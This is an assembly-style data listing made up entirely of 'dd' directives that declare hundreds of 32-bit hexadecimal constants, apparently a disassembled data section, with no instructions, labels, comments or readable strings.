		dd 22BED2C9h, 81DF8B8Ah, 0AE94E9DFh, 2F010232h,	0F711A24Ah
		dd 52AA30D5h, 0CDFBB112h, 5F8365F4h, 0B6FAF4FCh, 4D5B551Eh
		dd 1387BECEh, 7182CDAAh, 4C6FD3Dh, 74F687D1h, 0D83FE525h
		dd 0F99DA66Eh, 9560A7EFh, 3854DA68h, 75416AFBh,	0B1C3AC07h
		dd 0E7AE840Ch, 31F44EF2h, 21466463h, 0D54AB1F1h, 0B3F12BEFh
		dd 7A802D7Eh, 85A5A6B2h, 2C149678h, 89BF15EEh, 920ED8B6h
		dd 70C304B5h, 119313Eh,	630877D4h, 29CE5FFEh, 194E68AEh
		dd 2CFC593h, 0C220471Ah, 0A6805637h, 18737CECh,	4A64E914h
		dd 4D280EAh, 9D5D7A74h,	5BC43DF6h, 130ACBBAh, 0DFA34CE1h
		dd 7A8E0896h, 4978E028h, 0DE96B77Eh, 0D52D419Ch, 0C3E98E3Bh
		dd 0C99F7C48h, 7FBF120h, 96E04E9h, 13584A5Ch, 636B9CFDh
		dd 565A0353h, 16555DB0h, 6150B568h, 93BF977Ah, 0B6ED5E10h
		dd 53E8317Ah, 0E097C5B3h, 65D2C302h, 0DE7A60A5h, 0C2E909ACh
		dd 57329878h, 2740568h,	0E85F3B9Fh, 85E9098Bh, 5AC5F43Eh
		dd 40F6698Bh, 4EEF7A25h, 0C6A6A2F7h, 1D064DEFh,	8B626856h
		dd 7BF47BD2h, 885D6602h, 0A036F463h, 0FFD1FE08h, 7391B30h
		dd 3568E50Bh, 22240293h, 587F6457h, 420EBD0Eh, 37574AE9h
		dd 4D468287h, 76896A1h,	0D88E7B1Eh, 3E9DE0Ah, 6BB895FAh
		dd 91A3E713h, 4220BA6h,	85A3BE84h, 75F9D95Ah, 0AD6520BCh
		dd 0F5C25881h, 0C5FB58Bh, 4AE93D7Bh, 68820338h,	0EF8454AFh
		dd 0D291FBF6h, 4EF0E64Eh, 9F86CDE6h, 2E2D5BF1h,	0AC009937h
		dd 0E328777Dh, 6D291CF1h, 5A82A495h, 92DBB901h,	0C701C86Ah
		dd 0D6D4D8B5h, 3F2DBF1Ah, 0A4F4FD2Bh, 0C69A09A8h, 18951C55h
		dd 0D90A9AE9h, 3018D3CFh, 3BF0619Dh, 52BB2FAEh,	314EBB70h
		dd 56F261FAh, 0F752E02h, 0D6AF4F81h, 631ECD2Eh,	523E6529h
		dd 0B513AB8Bh, 0A9620D76h, 15B77E14h, 2ABFF54Fh, 214E139Eh
		dd 4833F7B0h, 518801D4h, 70EECB9h, 37E97443h, 51F6D91Bh
		dd 0B2FB29C2h, 0C26546F9h, 0D0BDE9E1h, 13DA4575h, 0A1C1AAC1h
		dd 0BBAC2CC7h, 0C5D1257Bh, 0F0D796B2h, 0B25E9558h, 0F1E9175Eh
		dd 0E0EE89BEh, 5197CC5Bh, 0C40E8D80h, 24E0A5DFh, 0EAA42965h
		dd 8AE92F5Bh, 61D54A09h, 0B660E19Ah, 0C5FE2E99h, 0A54B3FF9h
		dd 0E8BF35C2h, 301F04F5h, 0CB4559EBh, 0E1E047E9h, 70562F68h
		dd 552E2099h, 5865FEA4h, 98C8AFEh, 5E15C4E9h, 265269A6h
		dd 54CBF225h, 917C4905h, 0BB128558h, 0D46804CAh, 10DBD836h
		dd 0CFA7464Ch, 20AE3E55h, 0D74222AFh, 0BE56000Ch, 6E2E17E2h
		dd 46021807h, 75AA9710h, 617DA462h, 0D7F99CE3h,	9F168C20h
		dd 0E7FDA4E2h, 85521712h, 5473AA86h, 0A7FBEC55h, 88BAD682h
		dd 0FE2CE91Fh, 0C6C4EE63h, 13B614BFh, 0D3B05CB8h, 0B56C2E01h
		dd 35D3E92Bh, 2DEE2B81h, 82533752h, 7B4E8D36h, 88F9753Fh
		dd 8996DF4Bh, 12C3574Eh, 0B1BBB45Bh, 0D6D13864h, 0DC433DF3h
		dd 8805A084h, 0D0F3DBDh, 828163E1h, 775C3E48h, 86C956E8h
		dd 7C7D7976h, 0BF08D92Ch, 0F0CACE9Dh, 599E3AAFh, 0DBED2A4Ch
		dd 221A5CEFh, 0FD89160Fh, 0FD9D12BEh, 482A2D82h, 1306B32Ah
		dd 0F85FEB80h, 0BCF74AABh, 1D54680Bh, 4B3129B0h, 460C1613h
		dd 6CFEC200h, 0E357C47h, 5D8F1218h, 941D11A1h, 0A44F0B75h
		dd 956EBCh, 73EEB819h, 3567009Ah, 43571B40h, 775DE951h
		dd 87F85ED5h, 0C2291900h, 0AACB8167h, 12630416h, 39106B00h
		dd 4BF77F07h, 8453D1D2h, 0ED8005FDh, 4E956651h,	0BD3B201Ah
		dd 7F5C6485h, 95EA2A16h, 4D00F7F4h, 0E5810269h,	0B54208FCh
		dd 0DDE9E8CBh, 1A06D7D1h, 7AD22A63h, 48DC00F6h,	73356BB2h
		dd 0C5393E5Ah, 2C605801h, 54656804h, 6281AB09h,	0CA4541C6h
		dd 0BF10CA79h, 8EC86086h, 0BF2E8462h, 6618C822h, 8F625807h
		dd 1DA3572Fh, 0BE84674Fh, 8D853BE7h, 6A28AE09h,	0C9CC8814h
		dd 68068F9Ah, 66840270h, 0C41E4E74h, 7542043Bh,	46D61F05h
		dd 1810612h, 0A66E0668h, 81FE18E7h, 13805B10h, 588DFC4h
		dd 0BB8D5ABAh, 84F513D9h, 0C0BFC981h, 207C626Fh, 71363BFh
		dd 26FB2A02h, 839D111Dh, 8464C3AFh, 98A9A2EEh, 80B4E354h
		dd 0BB55D54h, 0B54134BAh, 0E9252B94h, 0B7B8800Ch, 97FC28FFh
		dd 0AD29A550h, 0DE0BB8ACh, 0F6DE1470h, 0F8DF5B1Ah, 0CFEED26Dh
		dd 17E9135Dh, 3768FFC0h, 0F015DF57h, 3AE6BE0Bh,	8916CE7Eh
		dd 14BE5EF5h, 480F7830h, 81C06935h, 58D2F6F3h, 24BCAD4Ch
		dd 1889335Bh, 0A09CDD16h, 780CDEB1h, 2088DB9h, 2918E23Dh
		dd 7812DE8h, 79DC4BE9h,	0F53A308Dh, 0C14FF787h,	2D52F882h
		dd 0A0066013h, 46623B26h, 0E412D616h, 78A42AFh,	0E07D4D28h
		dd 0BD24EFDAh, 0B41F2ABh, 0DEA3EEE9h, 4905A58h,	0B200520Bh
		dd 0DEB753D0h, 127EE780h, 0AAF99BE9h, 79B3E377h, 0C5D1127Ch
		dd 9099E202h, 0CF4F1214h, 5C2168ABh, 47202BA6h,	0FE28287Ah
		dd 0CE8017F7h, 232CEA0Fh, 0D0B84ACCh, 0B450595Ch, 0E7286316h
		dd 138822AAh, 0EA8079DCh, 951E9AF4h, 0BE50BF89h, 42E1C509h
		dd 3B65822Bh, 0B1B56BD6h, 3489E572h, 0C771DA31h, 1C2CB763h
		dd 1858E2A1h, 5C4636FAh, 86F16BC0h, 261EC60h, 6C646851h
		dd 0FB603DCCh, 32B9014Ch, 1AE4FF97h, 0F1C777D5h, 0C5E3E83Bh
		dd 8BBF5954h, 0FE82180Ah, 0E4AD662Eh, 0A1D84C31h, 7D63B905h
		dd 7FA8B352h, 5D8EB812h, 20F2D209h, 6C87BB72h, 7C09E47Dh
		dd 0C20638DFh, 4EB8A25Bh, 0A2C89434h, 3E91250h,	9242E806h
		dd 4E1A86A9h, 8D6056D2h, 45256AFDh, 274D483Dh, 3F8582B0h
		dd 1AB507E5h, 0B1CD6062h, 375EC94Eh, 7B122518h,	78EB583Bh
		dd 228A8A2Fh, 477C25B2h, 0F978CEC0h, 64E6A066h,	91B4486Fh
		dd 0AAE5F312h, 0F76EC329h, 5BE984F1h, 68D08FE1h, 3D674B16h
		dd 0F9874E8h, 5EFF2640h, 0F5530030h, 594E2A2Dh,	1A2762C1h
		dd 9C3014E5h, 3C31FB65h, 0AABD253Eh, 6BE64291h,	0A873D207h
		dd 3603225Dh, 43E67FD3h, 0B121620h, 0FC7BECB9h,	0C2CBC287h
		dd 0BA0557A5h, 31C77440h, 0B50C903Ah, 8811952h,	23B23F5Ah
		dd 41DC88E5h, 6684D7AAh, 0B7C3E09Fh, 0C7FE291Fh, 0DDA5E2CBh
		dd 0C1C13B13h, 0B1CC6B7Eh, 628A9C04h, 0D2568CE9h, 6A0C2117h
		dd 7068BB15h, 1E5BB7F3h, 2F0AE98Dh, 76BE4F81h, 6E7FA128h
		dd 961CF9F9h, 23DAC40h,	2F366B4Ah, 23B7EC1h, 5924DF5Ah
		dd 0C15F98D7h, 6803EF05h, 0F060692Ah, 12AF0C72h, 0AE70E90Dh
		dd 992FA593h, 74BE0EB1h, 0CC26A893h, 295DE6Bh, 7EF20194h
		dd 39D60342h, 0CDF14134h, 388204A0h, 0C9A72EDh,	5BB16E23h
		dd 50807720h, 4ACC7288h, 0F65C28E3h, 2DE9D309h,	0D51C5DC6h
		dd 5105CF90h, 0EF28A1B5h, 30A1A0B8h, 0E68830F9h, 686D38B5h
		dd 0A23BE331h, 6A729216h, 0B9DB78C1h, 86756BA9h, 77454991h
		dd 1D68EDF7h, 79785B2Dh, 0E4C6A2B5h, 0FA580402h, 5E31AFC2h
		dd 24351E5Ah, 486C40C6h, 5AB60BF4h, 0E71C9F09h,	571C3F07h
		dd 0B35727B5h, 0D460E1BFh, 592F9B65h, 54EE6C97h, 0A43E97D0h
		dd 49BB0156h, 5088A642h, 4A2C924Fh, 0D4F0B70Ah,	66612B8Bh
		dd 4F420978h, 698176B0h, 0EEC458D9h, 80B2D54h, 642D259h
		dd 37717F35h, 52061129h, 0DABE956h, 682C9463h, 0EB298283h
		dd 57684AE9h, 0B6A5C609h, 87976A8h, 0D91954E6h,	3CEEA56Eh
		dd 97E4523h, 5C4A06F5h,	0D8AA5303h, 58C6F713h, 0C7A0EF7h
		dd 0B841FA8h, 1E12E00Ch
		dd 0D2BD6DB5h, 0CA00841h, 0C1682F14h, 270B23DBh, 0A617FB74h
		dd 0C61271C5h, 4A875406h, 0A128ED5Ah, 0B833408Ah, 0D9ADD9C8h
		dd 888A6226h, 1368EE7Fh, 0F236DC68h, 12CE8EA1h,	4A94CFABh
		dd 1B80DD8h, 59D2231Dh,	6645DA68h, 75AD1AB5h, 4FA45E3Bh
		dd 2AA9B66Bh, 9C60825Fh, 39952E0h, 33E66906h, 0D7FBE7D1h
		dd 886504FFh, 5A53383Ah, 445E7A74h, 4BC17FD4h, 0EA571D3h
		dd 7863D7F4h, 0DF372766h, 0CC704E76h, 0F8129ACDh, 25610FE2h
		dd 0EB853009h, 9475BB66h, 0BCD38AEDh, 0B960E185h, 0BBA6CC6Eh
		dd 0C80A40E2h, 0F505681Eh, 0F81E984h, 78A331D0h, 0AB465C44h
		dd 38D9EB00h, 0D3291BECh, 881A390h, 9E636001h, 455FE45Dh
		dd 580F2FDAh, 755A0B5Fh, 21D2CDCCh, 0C72F005Fh,	0BF222724h
		dd 3107C333h, 0DB68624Fh, 83B55450h, 53B65251h,	0E994B4C8h
		dd 5B54F94Ch, 0BF5934AEh, 0F5FCB505h, 74417D16h, 0D2C1DBDh
		dd 449BEC4h, 0E9457513h, 73E7AAB8h, 0BB535200h,	206156Ch
		dd 20D5BA05h, 0DDFF7E83h, 6A54AD0Fh, 7D58DF86h,	4B960579h
		dd 42D168C1h, 0D8C99423h, 0E8924C45h, 0FAB64EEBh, 8D5B67E5h
		dd 0EFC2FDF4h, 8D411E5Bh, 2174A33h, 0C67B3B21h,	820BBE4Bh
		dd 787B7666h, 5AB45C6Ch, 1B0C2530h, 3F0DCCBAh, 4AC8ECE9h
		dd 0D895077Eh, 0BE598463h, 81230D4h, 2800F61Fh,	0E42D4F36h
		dd 341F2F23h, 0AC7C0202h, 0CB0D709h, 255A7068h,	9BDFCA31h
		dd 0D7D3312Fh, 57894CFEh, 2C7A6805h, 0C0EB0CD0h, 5C56B1F2h
		dd 0E16178B7h, 0D268D48Bh, 0A56F4656h, 74C86709h, 0CCA61AAh
		dd 0C19CF680h, 0EB6E70F4h, 9A34015Eh, 25FBB2BEh, 0F7EA83C1h
		dd 8EE207DAh, 0D260786Ch, 42D42B45h, 1D08C7C0h,	0F281145Ch
		dd 0ED0006C3h, 334A094Fh, 0F05B11E9h, 0ACA4D9ACh, 5D5E703Eh
		dd 0EED37BA3h, 64228CEh, 8489BD4Ah, 34FFDEDBh, 0E4F2FA40h
		dd 0A5DFEB93h, 0E814E916h, 8BA25AB7h, 4841C7DAh, 397DEE0Eh
		dd 0C86E319Eh, 6C40C35Dh, 54E0EC4Bh, 4A37FF2Ch,	931DE60Fh
		dd 681668EDh, 10CCFBEDh, 4A4E062Ah, 0B6EF296Dh,	1666C73Dh
		dd 50EB1D7Dh, 0E90B08C6h, 0B4D6CAA3h, 0F501FF69h, 6B44CE68h
		dd 0DE1367D2h, 0DA64EFFCh, 0FA23992Ah, 0D5F738E8h, 0CCBE5600h
		dd 3134CA16h, 0C321B5F5h, 8852FEE9h, 68798EDDh,	0B7CC12FDh
		dd 5A115858h, 0DF9166F9h, 123EA65Eh, 0AFBCEDF0h, 0E1196C7h
		dd 0EC7E5A09h, 0FE44FDD2h, 612AE927h, 112759D8h, 107A70Bh
		dd 71BDF06Ch, 2CE98486h, 66E2ABE4h, 0EEE82915h,	2A0BBB0Eh
		dd 0D9DD5D9Eh, 0F2D50A5Bh, 1B3F2143h, 0EF09935Ah, 337E86CAh
		dd 0C72CDFF7h, 5827ECABh, 0B4AE5D5h, 52C5E870h,	9EC50027h
		dd 0B07F8C59h, 357697C9h, 0D3F9602h, 0B40F65Fh,	0E62194E9h
		dd 0BF2CEF80h, 0E74EF006h, 980C3C86h, 11432FD8h, 63CADC9Ah
		dd 0FF6925C5h, 94066D33h, 12637ADBh, 5289018Ch,	0B3E964B7h
		dd 0C43F69CEh, 5F0ED332h, 0B450EDC4h, 663F7C49h, 0E4BF821Ah
		dd 7D28ABC6h, 895D7FE2h, 0D61D8800h, 0EB2D600Fh, 0E9D1B05Ah
		dd 0ECBF5AACh, 9F4CDE8Dh, 5881DB94h, 0C61DA86Ch, 1A3FEC42h
		dd 0E9402F95h, 2DE848EBh, 10F8655Fh, 1C04119Bh,	44A1396Ch
		dd 0FC9506B9h, 5F8E8725h, 0CACFD98Eh, 0BBCFA82Ch, 3011890Fh
		dd 2218576Ah, 984D4514h, 6CF32FC2h, 97D4D92h, 6997DC2h
		dd 7A26E53h, 0D82218C9h, 10BBC501h, 47E9990Bh, 1013772Fh
		dd 7F5E54C1h, 91CE8CAh,	1AFF2727h, 70D0770Dh, 473FF101h
		dd 0CE8906CDh, 4AE91148h, 0D0EC0DCh, 71022EE7h,	5343057Bh
		dd 90E1F79Ah, 0D444A506h, 8B942752h, 6C8DBC96h,	0FC6BCB13h
		dd 9BF72AF1h, 532B91B5h, 0B6F0676Fh, 0B825BDA7h, 63F57EBEh
		dd 81B18F58h, 0C25A3E29h, 0A267FFB4h, 0B078142Fh, 50C78944h
		dd 975185D9h, 8B2F982Ch, 15D85E2Fh, 0E1800EDCh,	769C0B3h
		dd 0EB229459h, 0A0F87E20h, 35AF6Ch, 0E6C17F36h,	34C68108h
		dd 1F1B6D13h, 0A8DE13BEh, 4AB0D298h, 0BD764F7h,	0D3F9BD5Bh
		dd 0E1D34FB8h, 0A74A61B2h, 686E106Ch, 14A9DF8h,	537EAE4Eh
		dd 595DA901h, 18AFE938h, 0C841EF04h, 36743D06h,	52B30C80h
		dd 2FE95CE2h, 1332AD4Bh, 5F7434h, 0B9427DBAh, 459E29B3h
		dd 9FF84FC6h, 752449D0h, 5431E321h, 3013CFh, 0EB1F5A68h
		dd 0DA1EB25h, 97F501F4h, 0A5BC7AD9h, 0BE1E00C0h, 2FBC5A0Ah
		dd 0AE702976h, 0F7C87A35h, 0D0E6CDEEh, 3D4E9668h, 98CD95A3h
		dd 9AE02F51h, 0C11D4F5Ch, 138B15Dh, 317FD001h, 0A9F85Dh
		dd 14AF32Dh, 7C35238Eh,	0D466DC19h, 0BB0B7EE5h,	0E841E93Ah
		dd 1638689Ch, 0B0C0246h, 3402EA51h, 0C3DA99EBh,	2F6FE904h
		dd 41FF2D47h, 78860F80h, 0C8D32074h, 129F1106h,	823ECA29h
		dd 3AC5B808h, 0BF9CBFDAh, 4C01FF20h, 0F300E0D1h, 8CDE3050h
		dd 9CFEDA31h, 0DD50A9B5h, 0F6BBDEB0h, 49EC3A0Fh, 3280B7E9h
		dd 689B68ACh, 26B9597Bh, 714888EDh, 1CF0F8A0h, 5A12429Bh
		dd 5428B2CAh, 949720B1h, 0AED801Ch, 66EC5CCh, 0EC082F55h
		dd 0B50D135Eh, 6C930EAEh, 0ECEDDDC6h, 5195CB60h, 16B881F4h
		dd 2B5E926Dh, 1D8056C5h, 489F29ADh, 4F13A21Bh, 494ED47h
		dd 0E5DB2008h, 331B0EEh, 0C0846D70h, 0AA27473Ah, 4D993164h
		dd 3F57708h, 8003E2C0h,	0F298069Bh, 1490880Ch, 2EBAE919h
		dd 5A6FC6A9h, 15DC0C09h, 0FCD2E989h, 5250013Dh,	0CD51FA88h
		dd 68ECD5D5h, 0F15AA36Bh, 9F2C58E6h, 1931FAD7h,	0C450CEE9h
		dd 0F061B652h, 94135288h, 25110192h, 7A37FE06h,	28EA88B4h
		dd 270BB850h, 0A0A7C229h, 0F3D22EE9h, 0BF331055h, 6EAC109h
		dd 73484300h, 29699E35h, 2F6172F6h, 0AC4717F0h,	128F828Eh
		dd 0B396CCFFh, 573A00B7h, 1FA86850h, 16708E40h,	0BA22C0D4h
		dd 0B03D5B6Ah, 236D113Eh, 125CB802h, 7614707h, 0C773828Ah
		dd 41527EF5h, 7228F4BEh, 0E685804h, 0E22CCD72h,	5F48DE64h
		dd 9853CF9h, 502906EDh,	0F90883EBh, 0CA7B3487h,	15701658h
		dd 7B207940h, 9F480A61h, 0CCC7BD8Fh, 0CCDF090Ch, 766813E9h
		dd 0E830D92Fh, 0B895162Eh, 0B5FC11C0h, 0BCFE581Eh, 5C1FFB6Bh
		dd 82CA075Ch, 0E3427756h, 0F013CF90h, 2B50EA89h, 4F129FE5h
		dd 8CFA2DBAh, 39D5091Fh, 24B0B3E7h, 49ED02D6h, 8B800D73h
		dd 23037ABFh, 7E2589Fh,	0E75AB2E6h, 82D68750h, 7C60EBF6h
		dd 0E92556BFh, 94747EEEh, 9C07D6C3h, 0AF6DB14Dh, 0E4BC2916h
		dd 0BA305B69h, 6B157246h, 522A609Ch, 217C3C2Eh,	3A9242C0h
		dd 1054376h, 54F728A4h,	0ACCB08E9h, 0F8086BBBh,	2916F5h
		dd 2E3C19Fh, 0FD02BD55h, 81056B26h, 0FBD25DC5h,	0E50262ECh
		dd 0E0E90714h, 20867202h, 24BC19CCh, 0E79E584h,	53AF2E94h
		dd 7E16EEB8h, 0E4840CECh, 0A1E2AFCCh, 8C29DB13h, 9B730E0h
		dd 0C8C5F7DCh, 9138764h, 2771C3E0h, 0DBEE7FEBh,	9B888DB3h
		dd 0F5817D6h, 1ABCA61h,	0C4A14B64h, 45798Dh, 57D830CCh
		dd 987A2D48h, 601D6306h, 1EAA21D5h, 7CFBA280h, 0E910EFF4h
		dd 800138A8h, 0B252DBF7h, 4523EC08h, 78C5C9DEh,	3983EDCCh
		dd 3720E9FBh, 5201A833h, 784FC4BAh, 74142059h, 1B52825Bh
		dd 257BAAFDh, 4F7918F5h, 66B16804h, 21A14C1Fh, 8948F669h
		dd 0F03F2DDDh, 0C8EB2439h, 0F25ECBBCh, 2B1DE9C1h, 0A94C593Dh
		dd 0DC756E06h, 2F010C2Dh, 213FC5F9h, 3F785AD6h,	5C12E90Ah
		dd 4E79BB43h, 0BE1A000Bh, 9967B1Ch, 61888CAh, 59C2EF01h
		dd 9D704A42h, 40589855h
		dd 51035C84h, 0D1F6FCB1h, 0FE04E0C0h, 4D5BE8C1h, 680CCEEBh
		dd 86E76C13h, 0CE64344h, 61917542h, 3901C56Ah, 0F709696Eh
		dd 0A22C6CE9h, 0CFCA7D4Ah, 0A2E2BBA5h, 7154FCC9h, 4ADBC381h
		dd 9C207E25h, 1316B003h, 4B2484Ch, 14BD30C5h, 3A287C7Bh
		dd 0EB289C05h, 579506B7h, 15EC05h, 0EF1857A8h, 2FB80124h
		dd 0CF3DB930h, 25255ECBh, 84D16405h, 1283F4ADh,	0FEDE44DCh
		dd 5269925Fh, 93DF08C1h, 0F3A34A86h, 17DB351Ah,	4C10507Fh
		dd 0F3259EFAh, 0F6B1C368h, 83B27AF0h, 0B306935Fh, 1720C48Bh
		dd 9D5E380h, 1EF75B7Ch,	71502A51h, 562FA098h, 0E89F8682h
		dd 8674B8BDh, 6F1615EEh, 0C9BC0379h, 41E9D109h,	614EED00h
		dd 7AB505B0h, 23DE270Eh, 0F7C9AC51h, 91B02C4Eh,	439C7C95h
		dd 1B4E3CB9h, 525ADA0h,	0E96C0E65h, 6AE1F102h, 48D7EB02h
		dd 0E712C0A2h, 0C1431894h, 0B920C6Bh, 2357B3Eh,	0DE5CF8CFh
		dd 9886EB7Dh, 1218809Ch, 0CFE8941h, 0C3A76C99h,	443FBC09h
		dd 0FDE0883Dh, 0E9240820h, 0D748710Ah, 0B701D20Ch, 28754F8Eh
		dd 1970B89Eh, 5A05D6B5h, 502D9252h, 6371FEC6h, 0B5D971CCh
		dd 18B23ED7h, 776D985Eh, 57FAB341h, 501626Ch, 666F3C76h
		dd 6430D801h, 0F53548A2h, 9E5C112h, 78782681h, 17A4B85Bh
		dd 0B3444B01h, 2C969D96h, 528132E8h, 0BBE128E9h, 0BF532CFDh
		dd 0ABE8018Fh, 680FE006h, 303C5E20h, 432B3A5Fh,	2DC04743h
		dd 6B2B1A9Ch, 70263505h, 0D2EE9FBDh, 0D65CB3F3h, 0BBA5BE12h
		dd 5D86C46Ah, 0F94089B3h, 9E682FD1h, 76952A16h,	40EE60A0h
		dd 0D4B658C7h, 1B037340h, 46498030h, 0E91AA60Bh, 0B26565Eh
		dd 45F9E689h, 62429460h, 152D0049h, 250CC16Ah, 5C3A68C6h
		dd 72D38053h, 46351469h, 6910E040h, 3477CE01h, 0A51D25F3h
		dd 667F5D3Ah, 0F5E38226h, 6A7E59A9h, 0FAC8978Bh, 791F09DAh
		dd 4A831102h, 80F47A31h, 23C1E282h, 2DCCF14Ch, 0AEA077D2h
		dd 0F555C0BAh, 0FA307260h, 4C17155Eh, 1F1D634Ah, 0E90D4424h
		dd 24D3F8FEh, 0EF02934Fh, 0E01EB238h, 300BC78Ah, 0E5D067B5h
		dd 404EC30Ah, 1925B6A8h, 57B90180h, 4A7A1843h, 4E21162Fh
		dd 0BD015F61h, 1FA393DDh, 0FBC7FAD2h, 635D6841h, 3AB5882Bh
		dd 9F09D09Fh, 59C9FE79h, 5B688476h, 539A653h, 0BF76E951h
		dd 6B1269B3h, 8699AAD8h, 0C8D54042h, 0FB06EEFDh, 74F0D930h
		dd 0B5A772Ch, 82B55162h, 0CF97FDDCh, 0D3401CBAh, 7CC80BD8h
		dd 0FE027C00h, 0D976F6C9h, 50402132h, 8037C35Ah, 9D684279h
		dd 60976646h, 4A66E962h, 68BFC8F6h, 0AA1DE224h,	1554B76Ch
		dd 85C12BE9h, 3280EF02h, 0D9813378h, 70C9D7B1h,	0B1B7FA8Fh
		dd 947EC101h, 1982AABFh, 0B73E6C34h, 4311E8E8h,	5E1D5C13h
		dd 36C19520h, 0E94F1756h, 3A0DC963h, 0B9034BB7h, 32414FFBh
		dd 0A3E9C8C0h, 86F9314Ah, 78A12DC3h, 68525598h,	8945BC39h
		dd 7425A26h, 9D029F5Bh,	0C05BEB3Bh, 48D74840h, 68045723h
		dd 0B0FAAD22h, 424EE9BFh, 0D8175D1Eh, 17975F08h, 0AB052459h
		dd 0B3AE7E64h, 0B518101Fh, 0CC4C494Ch, 0E516BE97h, 30B9B0h
		dd 0B8502F1Ah, 1C7D4C91h, 79FA0500h, 0EB0D5B3Ch, 465D2C65h
		dd 0E8D31CB4h, 6C7E00E8h, 0C831633Ah, 35054059h, 0F272203Bh
		dd 0C4340EBFh, 5D5C25D0h, 3502EDB0h, 0C16B1F01h, 90E903E2h
		dd 0F9F7137Fh, 1E64E3D3h, 0B82B241h, 81662E6Ah,	135E1E20h
		dd 0EFEF835Dh, 95028589h, 51C35460h, 0A4B66B56h, 5FEE924Bh
		dd 0ED6305EAh, 0ED3099B8h, 0C6F7F89Dh, 6E9F4B22h, 0C217915Ch
		dd 76016856h, 7BE3C0AEh, 0BE0523BAh, 0DC45841Eh, 0E75C7FFh
		dd 0B451491Dh, 0B594C4D5h, 696205FCh, 0F25F04BCh, 558915h
		dd 210BF4A0h, 0B5BD0544h, 0EF2595FDh, 0FE319D09h, 190B70D5h
		dd 12FD4082h, 56A7241Eh, 9AC0237h, 0CB751CB4h, 601398AEh
		dd 0A9FC9D39h, 8A50D427h, 0AF6FA138h, 0FA6BB70Eh, 13A65863h
		dd 45685B0Ch, 5FCA754Fh, 968EF68Dh, 0BC68E3E6h,	60654DF6h
		dd 615EA336h, 0BBFB1CCh, 1E921158h, 511E577Ch, 68C1591Ch
		dd 73231576h, 85CCF86Ah, 0D35352E9h, 5A5060BCh,	931A130Fh
		dd 0DD0C011Dh, 4076B205h, 0A46C23EDh, 0CF299B13h, 0A94070EAh
		dd 3B104B63h, 840DF01h,	0FCE91653h, 1221EEE2h, 0F809BE56h
		dd 68BADB2Ch, 0E85ED577h, 9DBA7084h, 62B940C3h,	7A07A85Fh
		dd 90308235h, 0BA88E921h, 6D9D225h, 805B3920h, 410CF581h
		dd 4C72973Eh, 6107965Dh, 80B323E9h, 60E2C229h, 0B7092B32h
		dd 8E87EE0h, 3106C9Dh, 979172A1h, 0BB4AB2E9h, 23202BACh
		dd 7CF3801Bh, 6AABDA33h, 9A9E001Dh, 0F65E3A61h,	0AC99D67Ch
		dd 3C58C4D4h, 0B037AF17h, 8D4A05B7h, 0FDB2D289h, 3BF1839Bh
		dd 1C441672h, 0D653C688h, 0B0A913F3h, 9D2C68D1h, 0F0696D32h
		dd 76D3164Eh, 0BC0AAFB1h, 222F07F3h, 74DF8CD4h,	4D6EAEAh
		dd 0C75A12A0h, 57C162F7h, 0AABF2BA0h, 3025A306h, 0FA007509h
		dd 200B77ACh, 7BB5BD90h, 0F67F2888h, 3422A68h, 7BE91622h
		dd 0A06EF883h, 25685AD1h, 0FE6521AEh, 4147F627h, 23204868h
		dd 5EE9699Ch, 3EE98BBDh, 8841DBF4h, 0F03F423Fh,	0A1993039h
		dd 856F3203h, 0B70C090Ch, 42F5F189h, 0AA845F65h, 0BFFCC602h
		dd 865EEE84h, 99B72C17h, 23C9EB93h, 9DB42B60h, 656A289h
		dd 0C576D472h, 0F862D572h, 588BA473h, 22F13127h, 62F04CBh
		dd 31AE3794h, 18D5DE9h,	0C73FE604h, 65CB4E30h, 4480A582h
		dd 0C6439318h, 90B1904Bh, 2242C8C9h, 57D7F632h,	0CEAE3E27h
		dd 582E11ECh, 16972D3Bh, 1EAC0320h, 3A4D7604h, 93C78247h
		dd 2A40BF62h, 6C2D7ACDh, 0E0450F8Ch, 0E9ADFDD2h, 0FE9F4829h
		dd 0BD055D8Fh, 578D92BCh, 3F47141h, 14B0E950h, 488CA63Fh
		dd 0A0402D63h, 0D8546AEFh, 56294069h, 0E04A61FEh, 0D3C577D0h
		dd 0C00BC72Bh, 0F255A4E3h, 5E7A6292h, 0DAC77DDCh, 0CE454D0Ch
		dd 6DF70B6Fh, 0E95E3195h, 0DFDE6BCFh, 0C94F9A1h, 0DF52031h
		dd 0C9CBC56Bh, 5EF6490Bh, 0D6D6300h, 0B551A100h, 3DE5803Ch
		dd 2C06E6C0h, 37ACDFEh,	0C530E7B0h, 2F5058B2h, 0ADB8ED3Ch
		dd 7F9289EEh, 242851Eh,	28B1C381h, 0C6FBBF3h, 243AC7E9h
		dd 57DF2DF7h, 3F2092F2h, 8089C34Ah, 8E6712CDh, 69BE6B7Ah
		dd 0FC01DF08h, 0F530D5h, 49E9E888h, 312441DEh, 40A8933Eh
		dd 8AED8166h, 0C35E3DD3h, 731389A9h, 8904284Bh,	2F44C082h
		dd 217E2D23h, 8A0C7DCh,	410E8B3h, 60FDD289h, 80B033A0h
		dd 8DEE40B3h, 1B8D853h,	0D4016D68h, 0E12B593Eh,	30124114h
		dd 7A396AD0h, 7C159902h, 4BD552B6h, 0E94187E5h,	0CD6F3649h
		dd 0AC6F68E5h, 0BE514A5Ch, 8AB51912h, 0A9972E30h, 0A42A58C8h
		dd 37313D71h, 4F85A864h, 110DBF00h, 0D87ACE25h,	0A8474BE6h
		dd 0A109B114h, 9F8F2Fh,	7538419Ch, 0FE532825h, 2D35056Dh
		dd 845F9F61h, 2E00FF76h, 3A52BEB9h, 0C8314F50h,	9976955h
		dd 0C16F8265h, 74E19030h, 0B03BFB4Bh, 0AEC95AFFh, 0DFCB6AF6h
		dd 0F64E4AFh, 0C18EFECAh, 0BD3B6551h, 2FE9E19Eh, 0F2BF85EFh
		dd 0EB717AABh, 0FC7268B5h, 0D05495CAh, 130E0FE3h, 1FE0D10Ah
		dd 10285869h, 416EB268h, 7F4D0925h, 0B1858D34h,	7BB16884h
		dd 55430BAh, 5DFCD603h,	2EC7698h, 0D5775725h, 0D729310Fh
		dd 0A892751h, 0A7105995h, 928876E5h, 0E1032DA5h, 0DD02E235h
		dd 541D3AC2h, 0A0FF5E0Bh, 208A8408h, 5D174952h,	2204C129h
		dd 50948D6h, 0FE2C8102h
		dd 921699F3h, 0BAD1D323h, 5E07848h, 8446A4BFh, 80888579h
		dd 0C7E351C7h, 0A531F039h, 96AC0E58h, 0E97798EEh, 764C9E2Dh
		dd 9154695Ch, 0B96F5D59h, 0CBE916F9h, 45A03A52h, 30C75B89h
